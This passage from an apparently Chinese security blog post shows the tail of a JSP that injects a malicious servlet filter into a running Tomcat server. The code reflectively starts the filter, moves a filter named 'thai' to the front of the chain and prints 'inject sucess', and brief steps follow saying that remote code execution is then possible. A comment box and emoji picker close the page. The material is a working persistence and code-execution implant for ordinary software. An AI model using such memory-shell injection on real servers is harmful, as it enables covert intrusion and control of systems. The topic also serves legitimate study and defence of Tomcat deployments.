                    java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                            .getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);

                    // 把 filter 插到第一位
                    org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext
                            .findFilterMaps();
                    for (int i = 0; i < filterMaps.length; i++) {
                        if (filterMaps[i].getFilterName().equalsIgnoreCase("thai")) {
                            org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMap;
                            break;
                        }
                    }
                }
            }
        }

        out.write("inject sucess");
    }

%>

访问

image-20220428233906489

重写加载一下

image-20220428234108583

接下来可以rce了

image-20220428234133774

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇